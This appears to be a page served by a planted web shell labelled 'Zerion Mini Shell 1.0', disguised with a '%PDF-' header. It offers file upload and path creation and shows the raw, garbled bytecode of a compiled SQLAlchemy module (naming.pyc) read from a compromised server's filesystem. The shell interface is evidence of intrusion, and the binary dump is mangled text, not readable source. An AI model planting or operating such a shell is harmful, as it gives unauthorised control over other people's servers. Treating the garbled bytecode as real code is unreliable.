%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyc

�
��4]c@stdZddlZddlmZddlmZddlmZddlmZddlmZdd	lm	Z	dd
lm
Z
ddlmZddlmZdd
lm
Z
ddlmZddlmZddlmZddlmZdefd��YZide6de6de6de6de
6Zd�Zd�Zeje	d�ejed�d���ZdS(s5Establish constraint and index naming conventions.


i����Ni(t_defer_name(t_defer_none_name(tconv(tCheckConstraint(tColumn(t
Constraint(tForeignKeyConstraint(tIndex(tPrimaryKeyConstraint(tTable(tUniqueConstrainti(tevent(tevents(texctConventionDictcBsbeZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�ZRS(
cCs=||_t|t�|_||_||_|j|_dS(N(tconstt
isinstanceRt_is_fkttablet
conventiontnamet_const_name(tselfRRR((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt__init__ s
			cCs
|jjS(N(RR(R((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt_key_table_name'scCs8|jr |jj|}|jSt|jj�|SdS(N(RRtelementstparenttlisttcolumns(Rtidxtfk((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt	_column_X*s	cCsXt|jtd�tf�r0tjd��nt|jt�sQd|j_	n|jS(NscNaming convention including %(constraint_name)s token requires that constraint is explicitly named.(
RRttypetNoneRR
tInvalidRequestErrorRRR(R((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt_key_constraint_name1scCs|j|�jS(N(Rtkey(RR((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt_key_column_X_key<scCs|j|�jS(N(RR(RR((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt_key_column_X_nameBscCs|j|�jS(N(Rt_label(RR((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt_key_column_X_labelEscCsV|jjd}|jjd�}t|�dkrF|\}}}n|\}}|S(Nit.i(RRttarget_fullnametsplittlen(RRtrefst	refschematreftabletrefcol((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt_key_referred_table_nameHscCs|jj|}|jjS(N(RRtcolumnR(RRR((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt_key_referred_column_X_nameQsc
Cs�||jkr)|j||j|j�St|d|�rPt|d|��Stjd|�}|r�|jd�}|jd�}|r[|jr�|jj	}nt
|jj�}g}xtt|�D]f\}}d|j
d|d�}y |jt||�|��Wq�tk
r.t|��q�Xq�W|jd�rHdnd	}	|	j|�Sd|j
|d�}t|�}t||�r�t||�|�Snt|��dS(
Ns_key_%ss.*_?column_(\d+)(_?N)?_.+iit_key_t0tXt_t(RRRthasattrtgetattrtretmatchtgroupRRRRt	enumeratetreplacetappendtAttributeErrortKeyErrort
startswithtjointint(
RR$tcol_templateRt	multiplestelemsttokenstelemtattrtsep((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt__getitem__Xs4	 

(t__name__t
__module__RRRR#R%R&R(R1R3RM(((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyRs										tixtpktcktuqRcCsXxQ|jD]B}|tkr8t||kr8|t|S||kr
||Sq
WdSdS(N(t__mro__t_prefix_dictR!(tdict_R$tsuper_((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt_get_convention�scCs�|j}t|jt|��}t|jt�r:|jS|dk	r�t|jt�r�|jdks�d|ks�t|jt�r�t|t	|||j��St|t
�r�dSdS(Ntconstraint_name(tmetadataRXtnaming_conventionR RRRR!RRR(RRRZR((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt_constraint_name_for_table�s	tafter_parent_attachcs�t|t�r.tj|d�fd��nUt|t�r�t�jttf�rYdSt�|�}|dk	r�|�_q�ndS(NR]cs
t�|�S(N(t_constraint_name(tcolR(R(sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt<lambda>�R8(
RRRtlistenR	RRRR\R!(RRtnewname((RsH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyR^�s(t__doc__R;RRRRtschemaRRRRRRR	R
R8RRR
tobjectRRURXR\tlistens_forR^(((sH/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/sql/naming.pyt<module>s4Z
		

Zerion Mini Shell 1.0